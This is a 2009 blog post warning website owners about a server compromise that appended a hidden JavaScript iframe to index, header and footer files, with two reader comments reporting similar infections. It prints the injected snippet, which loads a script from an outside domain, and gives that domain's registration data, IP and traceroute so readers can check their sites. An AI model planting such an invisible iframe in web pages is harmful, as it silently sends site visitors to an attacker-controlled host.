Check your website for virus attack !

Just discovered this by accident. My server files have been infected with a piece of javascript code that sends the information to a certain site. This is certainly a first.

How can you check this?

The virus attacks following files on your server:

  • index.php
  • index.html
  • main.php
  • header.php
  • footer.php

At the end of these files it will insert the following code:

<script language=javascript>status=location;document.write (‘<iframe src=”hххp://online-channels.info/in.cgi?traf” width=0
height=0 frameborder=0 display:none onLoad=”status=defaultStatus;”></iframe>’);</script>

Update: if you use WordPress read how to check WordPress sites.

What it does?

I can only guess. The code is calling a script on online-channels.info site. It can be sending traffic information. Maybe it is a first case of Internet marketing espionage? Or it can be trying to run some malicious code.

How did it come here?

It can be a security flaw on my hosting server. It can be a security flaw of the WordPress which is the main script I run on my server.

Whatever way it came, it executed code that scanned through all the files on my server that match the given names and added that code at the end.

All created files carry the time stamp 29-06-2008 04:59 which is the time when the attack occurred.

How did I discover it?

By accident. I was looking at the HTTP requests on my site using Firebug. I noticed few 404 Object not found errors. Normally I keep my blog in good shape and these things should not happen.

virus Check your website for virus attack !

I then suspected that some of the plugins I use reference this site. After inspection I could find the script inserted to a number of plugins.

I have then checked my theme – it was there too in the index, header and footer. I then checked the whole WordPress installation – the script was there.

Finally I discovered it was spread out on my whole server.

The lucky thing is the attacker’s site broke down so I could find an anomaly with that 404 error.

Who is behind it?

I am still not sure. Here is the domain registration record for online-channels.info

Domain ID:D23976304-LRMS
Domain Name:ONLINE-CHANNELS.INFO
Created On:29-Feb-2008 23:08:51 UTC
Last Updated On:22-Jun-2008 11:24:52 UTC
Expiration Date:28-Feb-2009 23:08:51 UTC
Sponsoring Registrar:Blog.com Digital Communications Inc. (R315-LRMS)
Status:OK
Registrant ID:PP-SP-001
Registrant Name:Domain Admin
Registrant Organization:PrivacyProtect.org
Registrant Street1:P.O. Box 97
Registrant Street2:Note – All Postal Mails Rejected, visit Privacyprotect.org
Registrant Street3:
Registrant City:Moergestel
Registrant State/Province:
Registrant Postal Code:5066 ZH
Registrant Country:NL
Registrant Phone:+45.36946676

The site is registered somewhere in Denmark under an anonymous name. Blog.com is mentioned as Sponsoring Registrar.

The server IP is  78.109.22.246 and is located in Ukraine.

Trace route finishes before getting to the site:

11    86 ms    83 ms    83 ms  tr1-v23.de-fra.datagroup.ua [217.28.250.42]
12   114 ms   107 ms   107 ms  tr1-v454.ua-kiev.datagroup.ua [80.91.160.205]
13   691 ms   611 ms   131 ms  cat65-ge1-2-datagroup.hosting.ua [194.54.91.130]

14     *        *        *     Request timed out.

What can I do?

You should check the files on your server for the code. Check index.php and index.html first as they are most likely to have been infected.

Warn your friends about it.

About msidikp

Belajar Nge-Blog

Posted on April 24, 2009, in Informasi IT. Bookmark the permalink. 4 Komentar.

  1. It’s the first time I commented here and I must say you share us genuine, and quality information for bloggers! Good job.
    p.s. You have a very good template for your blog. Where did you find it?

  2. Parvinder Singh

    In an another form, a code is inserted in Javscript (.js), html and php files. First the code is inserted in java file and whenever any php or html file is called from any link, javascript code is immeditely added bjust after .

    I have got eh detail of the code and it is :

    Can somebody help me in decoding it or suggest a solution.

  3. Parvinder Singh

    In an another form, a code is inserted in Javscript (.js), html and php files. First the code is inserted in java file and whenever any php or html file is called from any link, javascript code is immeditely added bjust after .

    I have got eh detail of the code and it is :

    script language=javascript /script

    Can somebody help me in decoding it or suggest a solution.

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s

%d blogger menyukai ini: